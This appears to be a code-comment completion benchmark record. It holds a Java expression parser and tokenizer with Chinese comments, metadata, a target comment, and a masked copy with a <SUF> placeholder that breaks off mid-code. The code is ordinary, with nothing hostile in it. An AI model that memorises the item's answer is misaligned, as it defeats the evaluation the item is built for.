McState(0, 0, 0).setSize(size)); this.size = size; this.k = k; } private int size; //传教士和野人的个数,问题的规模 private int k; //船上可载人数的上限 @Override public boolean solvable() { // TODO Auto-generated method stub return true; } }
0
54903_22
package com.af.expression; import java.math.BigDecimal; import java.util.ArrayList; import java.util.LinkedList; import java.util.List; import java.util.Queue; import java.util.Stack; public class Program { // 源程序 public String Source; // Token队列,用于回退 private Queue<Token> _tokens = new LinkedList<Token>(); // 当前获取到的字符位置 private int pos; // 当前是否在字符串处理环节 private boolean inString; // 字符串处理环节堆栈,$进入字符串处理环节,“{}”中间部分脱离字符串处理环节 private Stack<Boolean> inStrings = new Stack<Boolean>(); public Program(String source) { String str = source.replaceAll("//[^\n]*", ""); this.Source = str; } // 调用解析过程 public Delegate parse() { Expression result = CommaExp(); Delegate delegate = result.Compile(); return delegate; } // 逗号表达式=赋值表达式(,赋值表达式)* private Expression CommaExp() { List<Expression> exps = new ArrayList<Expression>(); Expression first = AssignExp(); exps.add(first); Token t = GetToken(); // 没有结束 while (t.Type == TokenType.Oper && t.Value.equals(",")) { Expression r = AssignExp(); exps.add(r); t = GetToken(); } this._tokens.offer(t); Expression result = Expression.Comma(exps, Source, pos); return result; } // 赋值表达式=对象属性=一般表达式|一般表达式 private Expression AssignExp() { Token t = GetToken(); // 把第一个Token的位置记录下来,方便后面回退 int firstPos = t.StartPos; if (t.Type != TokenType.Identy) { this.pos = firstPos; this._tokens.clear(); this.inString = false; return Exp(); } Expression objExp = Expression.Identy((String) t.Value, Source, pos); objExp = ObjectPath(objExp); // 只能给对象属性或者变量赋值 if (objExp.type != ExpressionType.Property && objExp.type != ExpressionType.Identy) { this.pos = firstPos; this._tokens.clear(); this.inString = false; return Exp(); } t = GetToken(); if (t.Type != TokenType.Oper || !t.Value.equals("=")) { this.pos = firstPos; this._tokens.clear(); this.inString = false; return Exp(); } Expression exp = Exp(); // 如果是属性赋值 if (objExp.type == ExpressionType.Property) { // 从属性Expression中获取对象及属性名 String name = (String) objExp.value; objExp = objExp.children.get(0); Expression assign = Expression.Assign(objExp, exp, name, Source, pos); return assign; } else if (objExp.type == ExpressionType.Identy) { // 变量赋值 Expression assign = Expression.Assign(null, exp, objExp.value.toString(), Source, pos); return assign; } throw new RuntimeException(GetExceptionMessage("只能给属性或者变量赋值!")); } // 表达式=条件:结果(,条件:结果)(,结果)?|结果 // 条件=单个结果 private Expression Exp() { Expression v = Logic(); // 是':',表示条件,否则直接返回单结果 Token t = GetToken(); if (t.Type == TokenType.Oper && t.Value.equals(":")) { // 第一项转换 Expression result = Logic(); // 下一个是",",继续读取下一个条件结果串,由于是右结合,只能采用递归 t = GetToken(); if (t.Type == TokenType.Oper && t.Value.equals(",")) { // 第二项转换 Expression sExp = Exp(); // 返回 return Expression.Condition(v, result, sExp, Source, pos); } else { throw new RuntimeException(GetExceptionMessage("必须有默认值!")); } } else { _tokens.offer(t); return v; } } // 单个结果项=逻辑运算 (and|or 逻辑运算)* | !表达式 private Expression Logic() { Token t = GetToken(); // !表达式 if (t.Type == TokenType.Oper && t.Value.equals("!")) { Expression exp = Logic(); exp = Expression.Not(exp, Source, pos); return exp; } _tokens.offer(t); Expression v = Compare(); t = GetToken(); while (t.Type == TokenType.Oper && (t.Value.equals("&&") || t.Value.equals("||"))) { // 第二项转换 Expression exp = Logic(); // 执行 if (t.Value.equals("&&")) { v = Expression.And(v, exp, Source, pos); } else { v = Expression.Or(v, exp, Source, pos); } t = GetToken(); } _tokens.offer(t); return v; } // 逻辑运算=数字表达式 (比较运算符 数字表达式)? private Expression Compare() { Expression left = Math(); Token t = GetToken(); if (t.Type == TokenType.Oper && (t.Value.equals(">") || t.Value.equals(">=") || t.Value.equals("<") || t.Value.equals("<="))) { Expression rExp = Math(); if (t.Value.equals(">")) return Expression.GreaterThan(left, rExp, Source, pos); if (t.Value.equals(">=")) return Expression.GreaterThanOrEqual(left, rExp, Source, pos); if (t.Value.equals("<")) return Expression.LessThan(left, rExp, Source, pos); if (t.Value.equals("<=")) return Expression.LessThanOrEqual(left, rExp, Source, pos); } else if (t.Type == TokenType.Oper && (t.Value.equals("==") || t.Value.equals("!="))) { Expression rExp = Math(); // 相等比较 if (t.Value.equals("==")) { return Expression.Equal(left, rExp, Source, pos); } if (t.Value.equals("!=")) { return Expression.NotEqual(left, rExp, Source, pos); } } // 返回当个表达式结果 _tokens.offer(t); return left; } // 单个结果项=乘除项 (+|-) 乘除项 private Expression Math() { Expression v = Mul(); Token t = GetToken(); while (t.Type == TokenType.Oper && (t.Value.equals("+") || t.Value.equals("-"))) { // 转换操作数2为数字 Expression r = Mul(); // 开始运算 if (t.Value.equals("+")) { v = Expression.Add(v, r, Source, pos); } else { v = Expression.Subtract(v, r, Source, pos); } t = GetToken(); } _tokens.offer(t); return v; } // 乘除项=项 (*|/ 项) private Expression Mul() { Expression v = UnarySub(); Token t = GetToken(); while (t.Type == TokenType.Oper && (t.Value.equals("*") || t.Value.equals("/") || t.Value .equals("%"))) { // 转换第二个为数字型 Expression r = UnarySub(); // 开始运算 if (t.Value.equals("*")) { v = Expression.Multiply(v, r, Source, pos); } else if (t.Value.equals("/")) { v = Expression.Divide(v, r, Source, pos); } else { v = Expression.Modulo(v, r, Source, pos); } t = GetToken(); } _tokens.offer(t); return v; } // 单目运算符 private Expression UnarySub() { Token t = GetToken(); if (t.Type == TokenType.Oper && t.Value.equals("-")) { Expression r = Item(); return Expression.Subtract(Expression.Constant(0, Source, pos), r, Source, pos); } _tokens.offer(t); return Item(); } // 项=对象(.对象路径)* private Expression Item() { StringBuilder objName = new StringBuilder(); // 获取对象表达式 Expression objExp = ItemHead(objName); // 获取对象路径表达式 objExp = ObjectPath(objExp); return objExp; } // 对象=(表达式)|常数|标识符|绑定序列|字符串拼接序列, // 对象解析过程中,如果是标识符,则要返回找到的对象 private Expression ItemHead(StringBuilder name) { Token t = GetToken(); if (t.Type == TokenType.Oper && t.Value.equals("(")) { Expression result = CommaExp(); t = GetToken(); if (t.Type != TokenType.Oper || !t.Value.equals(")")) { throw new RuntimeException(GetExceptionMessage("括号不匹配")); } return result; } else if (t.Type == TokenType.Oper && t.Value.equals("{")) { // json对象 return Json(); } else if (t.Type == TokenType.Oper && t.Value.equals("$")) { // 字符串拼接序列 Expression strExp = StringUnion(); return strExp; } else if (t.Type == TokenType.Int || t.Type == TokenType.Double || t.Type == TokenType.Bool) { return Expression.Constant(t.Value, Source, pos); } else if (t.Type == TokenType.Identy) { String objName = (String) t.Value; // 把对象名返回 name.append(objName); // 对象名处理 return ObjectName(objName); } else if (t.Type == TokenType.Null) { return Expression.Constant(null, Source, pos); } throw new RuntimeException(GetExceptionMessage("单词类型错误," + t)); } // JSON对象::={}|{属性名:属性值,属性名:属性值} private Expression Json() { List<Expression> children = new LinkedList<Expression>(); Token t = GetToken(); // 空对象,直接返回 if (t.Type == TokenType.Oper && t.Value.equals("}")) { return Expression.Json(children, Source, pos); } _tokens.offer(t); children.add(Attr()); t = GetToken(); // 如果是"," 继续看下一个属性 while (t.Type == TokenType.Oper && t.Value.equals(",")) { children.add(Attr()); t = GetToken(); } if (t.Type != TokenType.Oper || !t.Value.equals("}")) { throw new RuntimeException(GetExceptionMessage("必须是'}'")); } return Expression.Json(children, Source, pos); } // 属性值对::=属性名: 属性值 private Expression Attr() { Token name = GetToken(); if (name.Type != TokenType.Identy) { throw new RuntimeException(GetExceptionMessage("JSON对象必须是属性名")); } Token t = GetToken(); if (t.Type != TokenType.Oper || !t.Value.equals(":")) { throw new RuntimeException(GetExceptionMessage("必须是':'")); } Expression exp = Exp(); return Expression.Attr(name.Value.toString(), exp, Source, pos); } // 对字符串拼接序列进行解析 private Expression StringUnion() { // 字符串连接方法 Expression exp = Expression.Constant("", Source, pos); Token t = GetToken(); // 是对象序列 while ((t.Type == TokenType.Oper && t.Value.equals("{")) || t.Type == TokenType.String) { // 字符串,返回字符串连接结果 if (t.Type == TokenType.String) { exp = Expression.Concat(exp, Expression.Constant(t.Value, Source, pos), Source, pos); } else { // 按表达式调用{}里面的内容 Expression objExp = Exp(); t = GetToken(); if (t.Type != TokenType.Oper || !t.Value.equals("}")) { throw new RuntimeException(GetExceptionMessage("缺少'}'")); } // 字符串连接 exp = Expression.Concat(exp, objExp, Source, pos); } t = GetToken(); } _tokens.offer(t); return exp; } // 根据名称获取对象以及对象表达式 private Expression ObjectName(String objName) { Expression objExp = Expression.Identy(objName, Source, pos); return objExp; } private Expression ObjectPath(Expression inExp) { // 调用条件过滤解析,转换出条件过滤结果 Expression objExp = ArrayIndex(inExp); Token t = GetToken(); while (t.Type == TokenType.Oper && t.Value.equals(".")) { // 获取对象成员 Token nameToken = GetToken(); // 继续看是否方法调用,如果是方法调用,执行方法调用过程 Token n = GetToken(); if (n.Type == TokenType.Oper && n.Value.equals("(")) { String name = (String) nameToken.Value; // each方法当循环使用 if(name.equals("each")) { objExp = For(name, objExp); } else { objExp = MethodCall(name, objExp); } } else { _tokens.offer(n); // 取属性 String pi = (String) nameToken.Value; objExp = Expression.Property(objExp, pi, Source, pos); // 调用条件过滤解析,产生条件过滤结果 objExp = ArrayIndex(objExp); } t = GetToken(); } _tokens.offer(t); return objExp; } // 数组下标=属性名([条件])? private Expression ArrayIndex(Expression objExp) { Token n = GetToken(); // 是数组下标 if (n.Type == TokenType.Oper && n.Value.equals("[")) { Expression exp = Exp(); // 读掉']' n = GetToken(); if (n.Type != TokenType.Oper || !n.Value.equals("]")) { throw new RuntimeException(GetExceptionMessage("缺少']'")); } // 产生数组下标节点 Expression result = Expression.ArrayIndex(objExp, exp, Source, pos); return result; } _tokens.offer(n); return objExp; } // For循环 private Expression For(String name, Expression obj) { // 产生完整的逗号表达式 Expression exp = this.CommaExp(); Token t = GetToken(); if (t.Type != TokenType.Oper || !t.Value.equals(")")) { throw new RuntimeException(GetExceptionMessage("函数调用括号不匹配")); } Expression result = Expression.For(obj, exp, Source, pos); return result; } // 函数调用 private Expression MethodCall(String name, Expression obj) { // 如果是")",调用无参函数处理 Token t = GetToken(); if (t.Type == TokenType.Oper && t.Value.equals(")")) { List<Expression> ps = new ArrayList<Expression>(); Expression result = Expression.Call(obj, name, ps, Source, pos); return result; } _tokens.offer(t); List<Expression> ps = Params(); t = GetToken(); if (t.Type != TokenType.Oper || !t.Value.equals(")")) { throw new RuntimeException(GetExceptionMessage("函数调用括号不匹配")); } Expression result = Expression.Call(obj, name, ps, Source, pos); return result; } // 函数参数列表 private List<Expression> Params() { List<Expression> ps = new ArrayList<Expression>(); Expression exp = Exp(); // 如果exp中含有data对象,说明是集合处理函数中每一项值,要当做Delegate处理。 procParam(ps, exp); Token t = GetToken(); while (t.Type == TokenType.Oper && t.Value.equals(",")) { exp = Exp(); procParam(ps, exp); t = GetToken(); } _tokens.offer(t); return ps; } // 处理参数,如果exp中含有data对象,说明是集合处理函数中每一项值,要当做Delegate处理。 private void procParam(List<Expression> ps, Expression exp) { Delegate delegate = exp.Compile(); if (delegate.objectNames.containsKey("data")) { ps.add(Expression.Constant(delegate, Source, pos)); } else { ps.add(exp); } } // 获取异常信息输出 private String GetExceptionMessage(String msg) { // 对出错的语句位置进行处理 String result = Source.substring(0, pos) + " <- " + Source.substring(pos, Source.length()); return msg + ", " + result; } // 获取单词 public Token GetToken() { // 如果队列里有,直接取上次保存的 if (_tokens.size() != 0) { Token result = _tokens.poll(); return result; } // 记录单词的起始位置,包括空格等内容 int sPos = pos; // 如果直接是'{',保存上一个状态,当前状态改为非字符状态 if (pos < Source.length() && Source.charAt(pos) == '{') { inStrings.push(inString); inString = false; // 返回'{'单词 String str = Source.substring(pos, pos + 1); pos += 1; return new Token(TokenType.Oper, str, sPos); } // 如果是字符串处理状态,把除过特殊字符的所有字符全部给字符串 if (inString) { int startPos = pos; // 在特殊情况下,字符串要使用$结束 while (pos < Source.length() && Source.charAt(pos) != '{' && Source.charAt(pos) != '$' && Source.charAt(pos) != '}') { pos++; } // 不是'{',退出字符串处理环节,回到上一环节。'{'会在下次进入时,保存当前状态 if (!(pos < Source.length() && Source.charAt(pos) == '{')) { inString = inStrings.pop(); } Token t = new Token(TokenType.String, Source.substring(startPos, pos), sPos); // 如果是采用$让字符串结束了,要把$读去 if (pos < Source.length() && Source.charAt(pos) == '$') pos++; return t; } // 读去所有空白以及注释 while ( // 普通空白 (pos < Source.length() && (Source.charAt(pos) == ' ' || Source.charAt(pos) == '\n' || Source.charAt(pos) == '\t')) || // 是注释 (pos < Source.length() - 2 && Source.charAt(pos) == '/' && Source .charAt(pos + 1) == '/')) { // 普通空白 if (pos < Source.length() && (Source.charAt(pos) == ' ' || Source.charAt(pos) == '\n' || Source .charAt(pos) == '\t')) { pos++; } else { // 注释 pos += 2; while (pos < Source.length() && Source.charAt(pos) != '\n') { pos++; } // 读掉行尾 pos++; } } // 如果完了,返回结束 if (pos == Source.length()) { return new Token(TokenType.End, null, sPos); } // 如果是数字,循环获取直到非数字为止 if (Source.charAt(pos) >= '0' && Source.charAt(pos) <= '9') { int oldPos = pos; while (pos < Source.length() && Source.charAt(pos) >= '0' && Source.charAt(pos) <= '9') { pos++; } // 如果后面是".",按double数字对待,否则按整形数返回 if (pos < Source.length() && Source.charAt(pos) == '.') { pos++; while (pos < Source.length() && Source.charAt(pos) >= '0' && Source.charAt(pos) <= '9') { pos++; } String str = Source.substring(oldPos, pos); return new Token(TokenType.Double, new BigDecimal(str), sPos); } else { String str = Source.substring(oldPos, pos); return new Token(TokenType.Int, Integer.parseInt(str), sPos); } } // 如果是字符,按标识符对待 else if ((Source.charAt(pos) >= 'a' && Source.charAt(pos) <= 'z') || (Source.charAt(pos) >= 'A' && Source.charAt(pos) <= 'Z') || Source.charAt(pos) == '_') { int oldPos = pos; while (pos < Source.length() && ((Source.charAt(pos) >= 'a' && Source.charAt(pos) <= 'z') || (Source.charAt(pos) >= 'A' && Source.charAt(pos) <= 'Z') || (Source.charAt(pos) >= '0' && Source.charAt(pos) <= '9') || Source .charAt(pos) == '_')) { pos++; } String str = Source.substring(oldPos, pos); // 是bool常量 if (str.equals("false") || str.equals("true")) { return new Token(TokenType.Bool, Boolean.parseBoolean(str), sPos); } if (str == "null") { return new Token(TokenType.Null, null, sPos); } return new Token(TokenType.Identy, str, sPos); } // && 及 || else if ((Source.charAt(pos) == '&' && Source.charAt(pos + 1) == '&') || (Source.charAt(pos) == '|' && Source.charAt(pos + 1) == '|')) { String str = Source.substring(pos, pos + 2); pos += 2; return new Token(TokenType.Oper, str, sPos); } // +、-、*、/、>、<、!等后面可以带=的处理 else if (Source.charAt(pos) == '+' || Source.charAt(pos) == '-' || Source.charAt(pos) == '*' || Source.charAt(pos) == '/' || Source.charAt(pos) == '%' || Source.charAt(pos) == '>' || Source.charAt(pos) == '<' || Source.charAt(pos) == '!') { // 后面继续是'=',返回双操作符,否则,返回单操作符 if (pos < Source.length() && Source.charAt(pos + 1) == '=') { String str = Source.substring(pos, pos + 2); pos += 2; return new Token(TokenType.Oper, str, sPos); } else { String str = Source.substring(pos, pos + 1); pos += 1; return new Token(TokenType.Oper, str, sPos); } } // =号开始有三种,=本身,==,=> else if (Source.charAt(pos) == '=') { if (pos < Source.length() && (Source.charAt(pos + 1) == '=' || Source.charAt(pos + 1) == '>')) { String str = Source.substring(pos, pos + 2); pos += 2; return new Token(TokenType.Oper, str, sPos); } else { String str = Source.substring(pos, pos + 1); pos += 1; return new Token(TokenType.Oper, str, sPos); } } // 单个操作符 else if (Source.charAt(pos) == '(' || Source.charAt(pos) == ')' || Source.charAt(pos) == ',' || Source.charAt(pos) == ';' || Source.charAt(pos) == '.' || Source.charAt(pos) == ':' || Source.charAt(pos) == '@' || Source.charAt(pos) == '$' || Source.charAt(pos) == '{' || Source.charAt(pos) == '}' || Source.charAt(pos) == '[' || Source.charAt(pos) == ']') { // 进入字符串处理环节,保留原来状态 if (Source.charAt(pos) == '$') { inStrings.push(inString); inString = true; } // 碰到'{',保存当前模式 if (Source.charAt(pos) == '{' && inStrings.size() != 0) { inStrings.push(inString); inString = false; } // 碰到'}',返回前面模式。 if (Source.charAt(pos) == '}' && inStrings.size() != 0) { inString = inStrings.pop(); } String str = Source.substring(pos, pos + 1); pos += 1; return new Token(TokenType.Oper, str, sPos); } else { throw new RuntimeException(GetExceptionMessage("无效单词:" + Source.charAt(pos))); } } }
DuBin1988/expression
src/main/java/com/af/expression/Program.java
6,547
// 单个结果项=逻辑运算 (and|or 逻辑运算)* | !表达式
line_comment
zh-cn
package com.af.expression; import java.math.BigDecimal; import java.util.ArrayList; import java.util.LinkedList; import java.util.List; import java.util.Queue; import java.util.Stack; public class Program { // 源程序 public String Source; // Token队列,用于回退 private Queue<Token> _tokens = new LinkedList<Token>(); // 当前获取到的字符位置 private int pos; // 当前是否在字符串处理环节 private boolean inString; // 字符串处理环节堆栈,$进入字符串处理环节,“{}”中间部分脱离字符串处理环节 private Stack<Boolean> inStrings = new Stack<Boolean>(); public Program(String source) { String str = source.replaceAll("//[^\n]*", ""); this.Source = str; } // 调用解析过程 public Delegate parse() { Expression result = CommaExp(); Delegate delegate = result.Compile(); return delegate; } // 逗号表达式=赋值表达式(,赋值表达式)* private Expression CommaExp() { List<Expression> exps = new ArrayList<Expression>(); Expression first = AssignExp(); exps.add(first); Token t = GetToken(); // 没有结束 while (t.Type == TokenType.Oper && t.Value.equals(",")) { Expression r = AssignExp(); exps.add(r); t = GetToken(); } this._tokens.offer(t); Expression result = Expression.Comma(exps, Source, pos); return result; } // 赋值表达式=对象属性=一般表达式|一般表达式 private Expression AssignExp() { Token t = GetToken(); // 把第一个Token的位置记录下来,方便后面回退 int firstPos = t.StartPos; if (t.Type != TokenType.Identy) { this.pos = firstPos; this._tokens.clear(); this.inString = false; return Exp(); } Expression objExp = Expression.Identy((String) t.Value, Source, pos); objExp = ObjectPath(objExp); // 只能给对象属性或者变量赋值 if (objExp.type != ExpressionType.Property && objExp.type != ExpressionType.Identy) { this.pos = firstPos; this._tokens.clear(); this.inString = false; return Exp(); } t = GetToken(); if (t.Type != TokenType.Oper || !t.Value.equals("=")) { this.pos = firstPos; this._tokens.clear(); this.inString = false; return Exp(); } Expression exp = Exp(); // 如果是属性赋值 if (objExp.type == ExpressionType.Property) { // 从属性Expression中获取对象及属性名 String name = (String) objExp.value; objExp = objExp.children.get(0); Expression assign = Expression.Assign(objExp, exp, name, Source, pos); return assign; } else if (objExp.type == ExpressionType.Identy) { // 变量赋值 Expression assign = Expression.Assign(null, exp, objExp.value.toString(), Source, pos); return assign; } throw new RuntimeException(GetExceptionMessage("只能给属性或者变量赋值!")); } // 表达式=条件:结果(,条件:结果)(,结果)?|结果 // 条件=单个结果 private Expression Exp() { Expression v = Logic(); // 是':',表示条件,否则直接返回单结果 Token t = GetToken(); if (t.Type == TokenType.Oper && t.Value.equals(":")) { // 第一项转换 Expression result = Logic(); // 下一个是",",继续读取下一个条件结果串,由于是右结合,只能采用递归 t = GetToken(); if (t.Type == TokenType.Oper && t.Value.equals(",")) { // 第二项转换 Expression sExp = Exp(); // 返回 return Expression.Condition(v, result, sExp, Source, pos); } else { throw new RuntimeException(GetExceptionMessage("必须有默认值!")); } } else { _tokens.offer(t); return v; } } // 单个 <SUF> private Expression Logic() { Token t = GetToken(); // !表达式 if (t.Type == TokenType.Oper && t.Value.equals("!")) { Expression exp = Logic(); exp = Expression.Not(exp, Source, pos); return exp; } _tokens.offer(t); Expression v = Compare(); t = GetToken(); while (t.Type == TokenType.Oper && (t.Value.equals("&&") || t.Value.equals("||"))) { // 第二项转换 Expression exp = Logic(); // 执行 if (t.Value.equals("&&")) { v = Expression.And(v, exp, Source, pos); } else { v = Expression.Or(v, exp, Source, pos); } t = GetToken(); } _tokens.offer(t); return v; } // 逻辑运算=数字表达式 (比较运算符 数字表达式)? private Expression Compare() { Expression left = Math(); Token t = GetToken(); if (t.Type == TokenType.Oper && (t.Value.equals(">") || t.Value.equals(">=") || t.Value.equals("<") || t.Value.equals("<="))) { Expression rExp = Math(); if (t.Value.equals(">")) return Expression.GreaterThan(left, rExp, Source, pos); if (t.Value.equals(">=")) return Expression.GreaterThanOrEqual(left, rExp, Source, pos); if (t.Value.equals("<")) return Expression.LessThan(left, rExp, Source, pos); if (t.Value.equals("<=")) return Expression.LessThanOrEqual(left, rExp, Source, pos); } else if (t.Type == TokenType.Oper && (t.Value.equals("==") || t.Value.equals("!="))) { Expression rExp = Math(); // 相等比较 if (t.Value.equals("==")) { return Expression.Equal(left, rExp, Source, pos); } if (t.Value.equals("!=")) { return Expression.NotEqual(left, rExp, Source, pos); } } // 返回当个表达式结果 _tokens.offer(t); return left; } // 单个结果项=乘除项 (+|-) 乘除项 private Expression Math() { Expression v = Mul(); Token t = GetToken(); while (t.Type == TokenType.Oper && (t.Value.equals("+") || t.Value.equals("-"))) { // 转换操作数2为数字 Expression r = Mul(); // 开始运算 if (t.Value.equals("+")) { v = Expression.Add(v, r, Source, pos); } else { v = Expression.Subtract(v, r, Source, pos); } t = GetToken(); } _tokens.offer(t); return v; } // 乘除项=项 (*|/ 项) private Expression Mul() { Expression v = UnarySub(); Token t = GetToken(); while (t.Type == TokenType.Oper && (t.Value.equals("*") || t.Value.equals("/") || t.Value .equals("%"))) { // 转换第二个为数字型 Expression r = UnarySub(); // 开始运算 if (t.Value.equals("*")) { v = Expression.Multiply(v, r, Source, pos); } else if (t.Value.equals("/")) { v = Expression.Divide(v, r, Source, pos); } else { v = Expression.Modulo(v, r, Source, pos); } t = GetToken(); } _tokens.offer(t); return v; } // 单目运算符 private Expression UnarySub() { Token t = GetToken(); if (t.Type == TokenType.Oper && t.Value.equals("-")) { Expression r = Item(); return Expression.Subtract(Expression.Constant(0, Source, pos), r, Source, pos); } _tokens.offer(t); return Item(); } // 项=对象(.对象路径)* private Expression Item() { StringBuilder objName = new StringBuilder(); // 获取对象表达式 Expression objExp = ItemHead(objName); // 获取对象路径表达式 objExp = ObjectPath(objExp); return objExp; } // 对象=(表达式)|常数|标识符|绑定序列|字符串拼接序列, // 对象解析过程中,如果是标识符,则要返回找到的对象 private Expression ItemHead(StringBuilder name) { Token t = GetToken(); if (t.Type == TokenType.Oper && t.Value.equals("(")) { Expression result = CommaExp(); t = GetToken(); if (t.Type != TokenType.Oper || !t.Value.equals(")")) { throw new RuntimeException(GetExceptionMessage("括号不匹配")); } return result; } else if (t.Type == TokenType.Oper && t.Value.equals("{")) { // json对象 return Json(); } else if (t.Type == TokenType.Oper && t.Value.equals("$")) { // 字符串拼接序列 Expression strExp = StringUnion(); return strExp; } else if (t.Type == TokenType.Int || t.Type == TokenType.Double || t.Type == TokenType.Bool) { return Expression.Constant(t.Value, Source, pos); } else if (t.Type == TokenType.Identy) { String objName = (String) t.Value; // 把对象名返回 name.append(objName); // 对象名处理 return ObjectName(objName); } else if (t.Type == TokenType.Null) { return Expression.Constant(null, Source, pos); } throw new RuntimeException(GetExceptionMessage("单词类型错误," + t)); } // JSON对象::={}|{属性名:属性值,属性名:属性值} private Expression Json() { List<Expression> children = new LinkedList<Expression>(); Token t = GetToken(); // 空对象,直接返回 if (t.Type == TokenType.Oper && t.Value.equals("}")) { return Expression.Json(children, Source, pos); } _tokens.offer(t); children.add(Attr()); t = GetToken(); // 如果是"," 继续看下一个属性 while (t.Type == TokenType.Oper && t.Value.equals(",")) { children.add(Attr()); t = GetToken(); } if (t.Type != TokenType.Oper || !t.Value.equals("}")) { throw new RuntimeException(GetExceptionMessage("必须是'}'")); } return Expression.Json(children, Source, pos); } // 属性值对::=属性名: 属性值 private Expression Attr() { Token name = GetToken(); if (name.Type != TokenType.Identy) { throw new RuntimeException(GetExceptionMessage("JSON对象必须是属性名")); } Token t = GetToken(); if (t.Type != TokenType.Oper || !t.Value.equals(":")) { throw new RuntimeException(GetExceptionMessage("必须是':'")); } Expression exp = Exp(); return Expression.Attr(name.Value.toString(), exp, Source, pos); } // 对字符串拼接序列进行解析 private Expression StringUnion() { // 字符串连接方法 Expression exp = Expression.Constant("", Source, pos); Token t = GetToken(); // 是对象序列 while ((t.Type == TokenType.Oper && t.Value.equals("{")) || t.Type == TokenType.String) { // 字符串,返回字符串连接结果 if (t.Type == TokenType.String) { exp = Expression.Concat(exp, Expression.Constant(t.Value, Source, pos), Source, pos); } else { // 按表达式调用{}里面的内容 Expression objExp = Exp(); t = GetToken(); if (t.Type != TokenType.Oper || !t.Value.equals("}")) { throw new RuntimeException(GetExceptionMessage("缺少'}'")); } // 字符串连接 exp = Expression.Concat(exp, objExp, Source, pos); } t = GetToken(); } _tokens.offer(t); return exp; } // 根据名称获取对象以及对象表达式 private Expression ObjectName(String objName) { Expression objExp = Expression.Identy(objName, Source, pos); return objExp; } private Expression ObjectPath(Expression inExp) { // 调用条件过滤解析,转换出条件过滤结果 Expression objExp = ArrayIndex(inExp); Token t = GetToken(); while (t.Type == TokenType.Oper && t.Value.equals(".")) { // 获取对象成员 Token nameToken = GetToken(); // 继续看是否方法调用,如果是方法调用,执行方法调用过程 Token n = GetToken(); if (n.Type == TokenType.Oper && n.Value.equals("(")) { String name = (String) nameToken.Value; // each方法当循环使用 if(name.equals("each")) { objExp = For(name, objExp); } else { objExp = MethodCall(name, objExp); } } else { _tokens.offer(n); // 取属性 String pi = (String) nameToken.Value; objExp = Expression.Property(objExp, pi, Source, pos); // 调用条件过滤解析,产生条件过滤结果 objExp = ArrayIndex(objExp); } t = GetToken(); } _tokens.offer(t); return objExp; } // 数组下标=属性名([条件])? private Expression ArrayIndex(Expression objExp) { Token n = GetToken(); // 是数组下标 if (n.Type == TokenType.Oper && n.Value.equals("[")) { Expression exp = Exp(); // 读掉']' n = GetToken(); if (n.Type != TokenType.Oper || !n.Value.equals("]")) { throw new RuntimeException(GetExceptionMessage("缺少']'")); } // 产生数组下标节点 Expression result = Expression.ArrayIndex(objExp, exp, Source, pos); return result; } _tokens.offer(n); return objExp; } // For循环 private Expression For(String name, Expression obj) { // 产生完整的逗号表达式 Expression exp = this.CommaExp(); Token t = GetToken(); if (t.Type != TokenType.Oper || !t.Value.equals(")")) { throw new RuntimeException(GetExceptionMessage("函数调用括号不匹配")); } Expression result = Expression.For(obj, exp, Source, pos); return result; } // 函数调用 private Expression MethodCall(String name, Expression obj) { // 如果是")",调用无参函数处理 Token t = GetToken(); if (t.Type == TokenType.Oper && t.Value.equals(")")) { List<Expression> ps = new ArrayList<Expression>(); Expression result = Expression.Call(obj, name, ps, Source, pos); return result; } _tokens.offer(t); List<Expression> ps = Params(); t = GetToken(); if (t.Type != TokenType.Oper || !t.Value.equals(")")) { throw new RuntimeException(GetExceptionMessage("函数调用括号不匹配")); } Expression result = Expression.Call(obj, name, ps, Source, pos); return result; } // 函数参数列表 private List<Expression> Params() { List<Expression> ps = new ArrayList<Expression>(); Expression exp = Exp(); // 如果exp中含有data对象,说明是集合处理函数中每一项值,要当做Delegate处理。 procParam(ps, exp); Token t = GetToken(); while (t.Type == TokenType.Oper && t.Value.equals(",")) { exp = Exp(); procParam(ps, exp); t = GetToken(); } _tokens.offer(t); return ps; } // 处理参数,如果exp中含有data对象,说明是集合处理函数中每一项值,要当做Delegate处理。 private void procParam(List<Expression> ps, Expression exp) { Delegate delegate = exp.Compile(); if (delegate.objectNames.containsKey("data")) { ps.add(Expression.Constant(delegate, Source, pos)); } else { ps.add(exp); } } // 获取异常信息输出 private String GetExceptionMessage(String msg) { // 对出错的语句位置进行处理 String result = Source.substring(0, pos) + " <- " + Source.substring(pos, Source.length()); return msg + ", " + result; } // 获取单词 public Token GetToken() { // 如果队列里有,直接取上次保存的 if (_tokens.size() != 0) { Token result = _tokens.poll(); return result; } // 记录单词的起始位置,包括空格等内容 int sPos = pos; // 如果直接是'{',保存上一个状态,当前状态改为非字符状态 if (pos < Source.length() && Source.charAt(pos) == '{') { inStrings.push(inString); inString = false; // 返回'{'单词 String str = Source.substring(pos, pos + 1); pos += 1; return new Token(TokenType.Oper, str, sPos); } // 如果是字符串处理状态,把除过特殊字符的所有字符全部给字符串 if (inString) { int startPos = pos; // 在特殊情况下,字符串要使用$结束 while (pos < Source.length() && Source.charAt(pos) != '{' && Source.charAt(pos) != '$' && Source.charAt(pos) != '}') { pos++; } // 不是'{',退出字符串处理环节,回到上一环节。'{'会在下次进入时,保存当前状态 if (!(pos < Source.length() && Source.charAt(pos) == '{')) { inString = inStrings.pop(); } Token t = new Token(TokenType.String, Source.substring(startPos, pos), sPos); // 如果是采用$让字符串结束了,要把$读去 if (pos < Source.length() && Source.charAt(pos) == '$') pos++; return t; } // 读去所有空白以及注释 while ( // 普通空白 (pos < Source.length() && (Source.charAt(pos) == ' ' || Source.charAt(pos) == '\n' || Source.charAt(pos) == '\t')) || // 是注释 (pos < Source.length() - 2 && Source.charAt(pos) == '/' && Source .charAt(pos + 1) == '/')) { // 普通空白 if (pos < Source.length() && (Source.charAt(pos) == ' ' || Source.charAt(pos) == '\n' || Source .charAt(pos) == '\t')) { pos++; } else { // 注释 pos += 2; while (pos < Source.length() && Source.charAt(pos) != '\n') { pos++; } // 读掉行尾 pos++; } } // 如果完了,返回结束 if (pos == Source.length()) { return new Token(TokenType.End, null, sPos); } // 如果是数字,循环获取直到非数字为止 if (Source.charAt(pos) >= '0' && Source.charAt(pos) <= '9') { int oldPos = pos; while (pos < Source.length() && Source.charAt(pos) >= '0' && Source.charAt(pos) <= '9') { pos++; } // 如果后面是".",按double数字对待,否则按整形数返回 if (pos < Source.length() && Source.charAt(pos) == '.') { pos++; while (pos < Source.length() && Source.charAt(pos) >= '0' && Source.charAt(pos) <= '9') { pos++; } String str = Source.substring(oldPos, pos); return new Token(TokenType.Double, new BigDecimal(str), sPos); } else { String str = Source.substring(oldPos, pos); return new 